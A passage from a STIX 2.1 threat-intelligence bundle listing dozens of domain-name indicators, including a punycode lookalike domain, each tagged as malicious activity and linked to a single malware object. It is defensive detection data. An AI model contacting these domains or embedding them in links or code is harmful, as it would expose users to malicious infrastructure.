"relationship--759e2c58-3e1f-457d-8e59-dcffc18ff212", "created": "2024-01-26T21:28:21.111199Z", "modified": "2024-01-26T21:28:21.111199Z", "relationship_type": "indicates", "source_ref": "indicator--9383cdc1-91f5-4f46-abae-53eda2e47b01", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--67fcd29f-1fa0-4fd5-ac2c-b3dc8f36feac", "created": "2024-01-26T21:28:21.111296Z", "modified": "2024-01-26T21:28:21.111296Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='morning-maps.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.111296Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1fa296a8-1219-4e36-908a-9de1810b52b0", "created": "2024-01-26T21:28:21.111684Z", "modified": "2024-01-26T21:28:21.111684Z", "relationship_type": "indicates", "source_ref": "indicator--67fcd29f-1fa0-4fd5-ac2c-b3dc8f36feac", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--53bcf94f-6879-4496-b4b4-0221be26d225", "created": "2024-01-26T21:28:21.11178Z", "modified": "2024-01-26T21:28:21.11178Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirection-url.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.11178Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--120ec210-bae1-44e5-8e39-a088f8e0d254", "created": "2024-01-26T21:28:21.112169Z", "modified": "2024-01-26T21:28:21.112169Z", "relationship_type": "indicates", "source_ref": "indicator--53bcf94f-6879-4496-b4b4-0221be26d225", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--82c449e6-1ba5-4081-98b9-f2f0b07dd412", "created": "2024-01-26T21:28:21.112266Z", "modified": "2024-01-26T21:28:21.112266Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='globalcoverage.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.112266Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2ed95818-fe53-4d6c-b395-b1d27c209657", "created": "2024-01-26T21:28:21.112653Z", "modified": "2024-01-26T21:28:21.112653Z", "relationship_type": "indicates", "source_ref": "indicator--82c449e6-1ba5-4081-98b9-f2f0b07dd412", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6f772485-c403-4187-a89f-1966b8aedeb7", "created": "2024-01-26T21:28:21.112749Z", "modified": "2024-01-26T21:28:21.112749Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='donateyouroldclothes.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.112749Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--55426f25-5530-47d4-ab3f-6d5aaaaf0008", "created": "2024-01-26T21:28:21.113221Z", "modified": "2024-01-26T21:28:21.113221Z", "relationship_type": "indicates", "source_ref": "indicator--6f772485-c403-4187-a89f-1966b8aedeb7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--30705040-3d29-4a33-90d2-10db20f078d2", "created": "2024-01-26T21:28:21.113318Z", "modified": "2024-01-26T21:28:21.113318Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newsofgames.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.113318Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5c978fcd-2d38-490a-86b5-aef172242ef4", "created": "2024-01-26T21:28:21.113713Z", "modified": "2024-01-26T21:28:21.113713Z", "relationship_type": "indicates", "source_ref": "indicator--30705040-3d29-4a33-90d2-10db20f078d2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2fbb440a-c674-4aa4-a3b7-dd7fd36004a0", "created": "2024-01-26T21:28:21.11381Z", "modified": "2024-01-26T21:28:21.11381Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whynotyesterday.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.11381Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--81d01dd0-e279-48fc-a54a-b1348c436f92", "created": "2024-01-26T21:28:21.114199Z", "modified": "2024-01-26T21:28:21.114199Z", "relationship_type": "indicates", "source_ref": "indicator--2fbb440a-c674-4aa4-a3b7-dd7fd36004a0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1bc2ce0a-61b4-4bdc-b1b6-8445af95889e", "created": "2024-01-26T21:28:21.114297Z", "modified": "2024-01-26T21:28:21.114297Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='expiredsession.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.114297Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f264962a-cdf6-4397-b271-2c15232f5f7f", "created": "2024-01-26T21:28:21.114693Z", "modified": "2024-01-26T21:28:21.114693Z", "relationship_type": "indicates", "source_ref": "indicator--1bc2ce0a-61b4-4bdc-b1b6-8445af95889e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--07537958-70e8-4c3b-865c-b98f033c14df", "created": "2024-01-26T21:28:21.114789Z", "modified": "2024-01-26T21:28:21.114789Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reseausocialsolutions.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.114789Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b9661263-9335-4513-ba75-81e980db8d15", "created": "2024-01-26T21:28:21.115186Z", "modified": "2024-01-26T21:28:21.115186Z", "relationship_type": "indicates", "source_ref": "indicator--07537958-70e8-4c3b-865c-b98f033c14df", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2714ceeb-e51a-4273-8857-5cb75da30c18", "created": "2024-01-26T21:28:21.115282Z", "modified": "2024-01-26T21:28:21.115282Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='data-formula.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.115282Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bc1580a4-0242-4380-aeb5-e223fbc6b6ed", "created": "2024-01-26T21:28:21.11567Z", "modified": "2024-01-26T21:28:21.11567Z", "relationship_type": "indicates", "source_ref": "indicator--2714ceeb-e51a-4273-8857-5cb75da30c18", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--97e94d8d-6246-4d5b-9840-7b41cb5100ee", "created": "2024-01-26T21:28:21.115766Z", "modified": "2024-01-26T21:28:21.115766Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='squaretables.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.115766Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1e0cffe9-46c7-41b8-8a9a-b309bb6c270a", "created": "2024-01-26T21:28:21.116158Z", "modified": "2024-01-26T21:28:21.116158Z", "relationship_type": "indicates", "source_ref": "indicator--97e94d8d-6246-4d5b-9840-7b41cb5100ee", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f089ea0a-a064-4f01-a352-ee68dd97c440", "created": "2024-01-26T21:28:21.116253Z", "modified": "2024-01-26T21:28:21.116253Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='muslim-world.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.116253Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1e27e161-8ccf-4971-950a-41d16b59f5f8", "created": "2024-01-26T21:28:21.116642Z", "modified": "2024-01-26T21:28:21.116642Z", "relationship_type": "indicates", "source_ref": "indicator--f089ea0a-a064-4f01-a352-ee68dd97c440", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--deb45151-1acd-4104-a8c9-5e050b7b887c", "created": "2024-01-26T21:28:21.116738Z", "modified": "2024-01-26T21:28:21.116738Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='recordinglamping.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.116738Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fffdc08a-a5d1-4f6b-a42d-4dd6ff485aa8", "created": "2024-01-26T21:28:21.11713Z", "modified": "2024-01-26T21:28:21.11713Z", "relationship_type": "indicates", "source_ref": "indicator--deb45151-1acd-4104-a8c9-5e050b7b887c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--64eed2c2-8422-4824-967d-c0f9305e8e9f", "created": "2024-01-26T21:28:21.117227Z", "modified": "2024-01-26T21:28:21.117227Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='301-redirecting.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.117227Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2352f5f2-e03f-463a-8ecc-0ca2a57122ea", "created": "2024-01-26T21:28:21.117754Z", "modified": "2024-01-26T21:28:21.117754Z", "relationship_type": "indicates", "source_ref": "indicator--64eed2c2-8422-4824-967d-c0f9305e8e9f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3f2a3e68-d879-4f37-8324-608a070ef5a5", "created": "2024-01-26T21:28:21.117857Z", "modified": "2024-01-26T21:28:21.117857Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lowervalues.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.117857Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c2dbbe4a-6e8e-41f1-a886-27e077aa3eb6", "created": "2024-01-26T21:28:21.118246Z", "modified": "2024-01-26T21:28:21.118246Z", "relationship_type": "indicates", "source_ref": "indicator--3f2a3e68-d879-4f37-8324-608a070ef5a5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--061e3295-939a-4369-9f77-126d809634fa", "created": "2024-01-26T21:28:21.118342Z", "modified": "2024-01-26T21:28:21.118342Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='globalsupporteam.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.118342Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fb148427-0dac-45c9-a057-1d08ebb4a657", "created": "2024-01-26T21:28:21.118733Z", "modified": "2024-01-26T21:28:21.118733Z", "relationship_type": "indicates", "source_ref": "indicator--061e3295-939a-4369-9f77-126d809634fa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c8bd6bc4-8260-48fd-b742-78c50e999f3b", "created": "2024-01-26T21:28:21.118831Z", "modified": "2024-01-26T21:28:21.118831Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='extend-list.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.118831Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e5c91675-91ea-42b5-b5b3-00ca31143a25", "created": "2024-01-26T21:28:21.119219Z", "modified": "2024-01-26T21:28:21.119219Z", "relationship_type": "indicates", "source_ref": "indicator--c8bd6bc4-8260-48fd-b742-78c50e999f3b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--58ecdfe3-fb32-40cc-90ca-8a6be7766495", "created": "2024-01-26T21:28:21.119323Z", "modified": "2024-01-26T21:28:21.119323Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='xn--telegrm-qbd.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.119323Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--74177d61-9fbe-49c3-9500-8e3e0daad126", "created": "2024-01-26T21:28:21.119768Z", "modified": "2024-01-26T21:28:21.119768Z", "relationship_type": "indicates", "source_ref": "indicator--58ecdfe3-fb32-40cc-90ca-8a6be7766495", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dd86c27e-04c9-4517-92c2-2aa7dd7fea10", "created": "2024-01-26T21:28:21.119865Z", "modified": "2024-01-26T21:28:21.119865Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='labonneforme.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.119865Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--67673afd-0d27-42cf-bd5a-818f185cde0e", "created": "2024-01-26T21:28:21.120256Z", "modified": "2024-01-26T21:28:21.120256Z", "relationship_type": "indicates", "source_ref": "indicator--dd86c27e-04c9-4517-92c2-2aa7dd7fea10", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b5fc6459-9a1e-4acf-b0c6-55355f46e843", "created": "2024-01-26T21:28:21.120353Z", "modified": "2024-01-26T21:28:21.120353Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='wordstore.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.120353Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e2b29e6e-53af-4e5f-a55e-a224b34e9fe4", "created": "2024-01-26T21:28:21.120736Z", "modified": "2024-01-26T21:28:21.120736Z", "relationship_type": "indicates", "source_ref": "indicator--b5fc6459-9a1e-4acf-b0c6-55355f46e843", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5fd86fac-ea9e-4c10-aa20-5b53f163f280", "created": "2024-01-26T21:28:21.120835Z", "modified": "2024-01-26T21:28:21.120835Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loadingpage1.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.120835Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4152a645-71d7-4b01-9ff1-29ad412ff1e3", "created": "2024-01-26T21:28:21.121218Z", "modified": "2024-01-26T21:28:21.121218Z", "relationship_type": "indicates", "source_ref": "indicator--5fd86fac-ea9e-4c10-aa20-5b53f163f280", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--45656702-3d98-4f0f-8a85-21a0e8aa4040", "created": "2024-01-26T21:28:21.121321Z", "modified": "2024-01-26T21:28:21.121321Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='port-connection.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.121321Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6aca1712-a1f2-46a6-b8a6-38bd8bc964bb", "created": "2024-01-26T21:28:21.121729Z", "modified": "2024-01-26T21:28:21.121729Z", "relationship_type": "indicates", "source_ref": "indicator--45656702-3d98-4f0f-8a85-21a0e8aa4040", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c8672a8e-e637-4433-aff7-6ff08d6862bf", "created": "2024-01-26T21:28:21.12183Z", "modified": "2024-01-26T21:28:21.12183Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domain-control.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.12183Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ce2ee921-3578-4388-95f7-f15aa57ddb50", "created": "2024-01-26T21:28:21.122301Z", "modified": "2024-01-26T21:28:21.122301Z", "relationship_type": "indicates", "source_ref": "indicator--c8672a8e-e637-4433-aff7-6ff08d6862bf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--323b5c9d-b427-4f67-855a-e1705944961a", "created": "2024-01-26T21:28:21.1224Z", "modified": "2024-01-26T21:28:21.1224Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='videotubbe.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.1224Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c155578e-6f82-4bad-a009-684154c4c56a", "created": "2024-01-26T21:28:21.122844Z", "modified": "2024-01-26T21:28:21.122844Z", "relationship_type": "indicates", "source_ref": "indicator--323b5c9d-b427-4f67-855a-e1705944961a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ae597390-5fed-49c3-8bde-e46bef7005b8", "created": "2024-01-26T21:28:21.122942Z", "modified": "2024-01-26T21:28:21.122942Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='14-tracking.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.122942Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--34f1a99f-c0d3-4ffe-8d4f-72dbf0ba10ea", "created": "2024-01-26T21:28:21.123381Z", "modified": "2024-01-26T21:28:21.123381Z", "relationship_type": "indicates", "source_ref": "indicator--ae597390-5fed-49c3-8bde-e46bef7005b8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--97ff26a8-c74b-4d8b-98bf-a466b087d1bd", "created": "2024-01-26T21:28:21.123479Z", "modified": "2024-01-26T21:28:21.123479Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='navywalls.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.123479Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--987a04a8-4f36-453a-b881-fedcc2513932", "created": "2024-01-26T21:28:21.123861Z", "modified": "2024-01-26T21:28:21.123861Z", "relationship_type": "indicates", "source_ref": "indicator--97ff26a8-c74b-4d8b-98bf-a466b087d1bd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8e18ac9e-0a52-4cec-bfde-2f6dcfc55e37", "created": "2024-01-26T21:28:21.123962Z", "modified": "2024-01-26T21:28:21.123962Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pleaseusenew.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.123962Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7c67f8f7-14c9-4cc3-92d6-053a3e02cbff", "created": "2024-01-26T21:28:21.124348Z", "modified": "2024-01-26T21:28:21.124348Z", "relationship_type": "indicates", "source_ref": "indicator--8e18ac9e-0a52-4cec-bfde-2f6dcfc55e37", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f18d2120-bd04-4a8b-a61b-0ce6d8a6fe1b", "created": "2024-01-26T21:28:21.124454Z", "modified": "2024-01-26T21:28:21.124454Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='transferkeep.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.124454Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--76b2d237-ddae-44a0-aad2-1ff8c982b3de", "created": "2024-01-26T21:28:21.124842Z", "modified": "2024-01-26T21:28:21.124842Z", "relationship_type": "indicates", "source_ref": "indicator--f18d2120-bd04-4a8b-a61b-0ce6d8a6fe1b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ee3068c3-9f7c-425f-85c7-7d71782d33ac", "created": "2024-01-26T21:28:21.124941Z", "modified": "2024-01-26T21:28:21.124941Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mgifweb.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.124941Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c0f9913a-3c26-4fd6-9c80-e9559c701901", "created": "2024-01-26T21:28:21.125326Z", "modified": "2024-01-26T21:28:21.125326Z", "relationship_type": "indicates", "source_ref": "indicator--ee3068c3-9f7c-425f-85c7-7d71782d33ac", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c5a5054d-b0dd-492b-84ec-05b2ddc89f24", "created": "2024-01-26T21:28:21.125425Z", "modified": "2024-01-26T21:28:21.125425Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nation-news.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.125425Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9191efa1-f8ac-477b-baf9-c7d13d8e972a", "created": "2024-01-26T21:28:21.125811Z", "modified": "2024-01-26T21:28:21.125811Z", "relationship_type": "indicates", "source_ref": "indicator--c5a5054d-b0dd-492b-84ec-05b2ddc89f24", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--827aa1d8-4dd7-4966-8c84-d5194a20079c", "created": "2024-01-26T21:28:21.125907Z", "modified": "2024-01-26T21:28:21.125907Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loadingpage4.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.125907Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7107b5e3-7176-4a41-9073-2d9e8193cd3d", "created": "2024-01-26T21:28:21.126296Z", "modified": "2024-01-26T21:28:21.126296Z", "relationship_type": "indicates", "source_ref": "indicator--827aa1d8-4dd7-4966-8c84-d5194a20079c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0f7ddf5e-0574-4d9f-ac50-634a6dbd0fa5", "created": "2024-01-26T21:28:21.126392Z", "modified": "2024-01-26T21:28:21.126392Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cottondecay.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.126392Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--74718969-5424-48e2-ae25-70b4169f2001", "created": "2024-01-26T21:28:21.126855Z", "modified": "2024-01-26T21:28:21.126855Z", "relationship_type": "indicates", "source_ref": "indicator--0f7ddf5e-0574-4d9f-ac50-634a6dbd0fa5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--358df82b-8011-47aa-8134-24bd1c82ef34", "created": "2024-01-26T21:28:21.126956Z", "modified": "2024-01-26T21:28:21.126956Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nicevibezaction.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.126956Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aca0b249-d261-40d7-89cc-baa21d22b82f", "created": "2024-01-26T21:28:21.127352Z", "modified": "2024-01-26T21:28:21.127352Z", "relationship_type": "indicates", "source_ref": "indicator--358df82b-8011-47aa-8134-24bd1c82ef34", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ae01ee9a-f364-4492-9b89-22f0f47a2732", "created": "2024-01-26T21:28:21.127452Z", "modified": "2024-01-26T21:28:21.127452Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='moh-followup.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.127452Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--37477587-3b30-410c-b307-3e77b519f6a0", "created": "2024-01-26T21:28:21.127838Z", "modified": "2024-01-26T21:28:21.127838Z", "relationship_type": "indicates", "source_ref": "indicator--ae01ee9a-f364-4492-9b89-22f0f47a2732", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d77b4984-daec-4fbc-8256-fe5c718cf43c", "created": "2024-01-26T21:28:21.127935Z", "modified": "2024-01-26T21:28:21.127935Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='unusualneighbor.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.127935Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--48ec26ca-55e1-4ab2-ac18-3cc94ba2e7bc", "created": "2024-01-26T21:28:21.128325Z", "modified": "2024-01-26T21:28:21.128325Z", "relationship_type": "indicates", "source_ref": "indicator--d77b4984-daec-4fbc-8256-fe5c718cf43c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ed7089ce-584b-45f8-a3fc-e46f025786c3", "created": "2024-01-26T21:28:21.128423Z", "modified": "2024-01-26T21:28:21.128423Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='verify-app.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.128423Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0cd0bb98-593b-408f-9e0f-26d6a752c270", "created": "2024-01-26T21:28:21.128813Z", "modified": "2024-01-26T21:28:21.128813Z", "relationship_type": "indicates", "source_ref": "indicator--ed7089ce-584b-45f8-a3fc-e46f025786c3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d36c009d-b77e-4a34-baf4-3a794d925e9c", "created": "2024-01-26T21:28:21.128909Z", "modified": "2024-01-26T21:28:21.128909Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='clubsforus.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.128909Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--74851225-63e8-457c-b6b3-7f7b108934e8", "created": "2024-01-26T21:28:21.129295Z", "modified": "2024-01-26T21:28:21.129295Z", "relationship_type": "indicates", "source_ref": "indicator--d36c009d-b77e-4a34-baf4-3a794d925e9c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--668b8e12-539a-4e7a-998e-d65b697cfce4", "created": "2024-01-26T21:28:21.129394Z", "modified": "2024-01-26T21:28:21.129394Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='securlaw.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.129394Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b3a1fa74-af68-47a5-b2d5-79223f520d85", "created": "2024-01-26T21:28:21.129781Z", "modified": "2024-01-26T21:28:21.129781Z", "relationship_type": "indicates", "source_ref": "indicator--668b8e12-539a-4e7a-998e-d65b697cfce4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0c19a28b-7af3-49e9-a9b9-3fccf13a0306", "created": "2024-01-26T21:28:21.129878Z", "modified": "2024-01-26T21:28:21.129878Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webtunnels.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.129878Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b146ac7a-5161-4ded-b55a-494f2857d519", "created": "2024-01-26T21:28:21.130263Z", "modified": "2024-01-26T21:28:21.130263Z", "relationship_type": "indicates", "source_ref": "indicator--0c19a28b-7af3-49e9-a9b9-3fccf13a0306", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f84b0778-c21d-4428-ae77-fba3d0b0410b", "created": "2024-01-26T21:28:21.130359Z", "modified": "2024-01-26T21:28:21.130359Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newnhotapps.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.130359Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5866fde5-265a-48d6-9088-d29fa713aaee", "created": 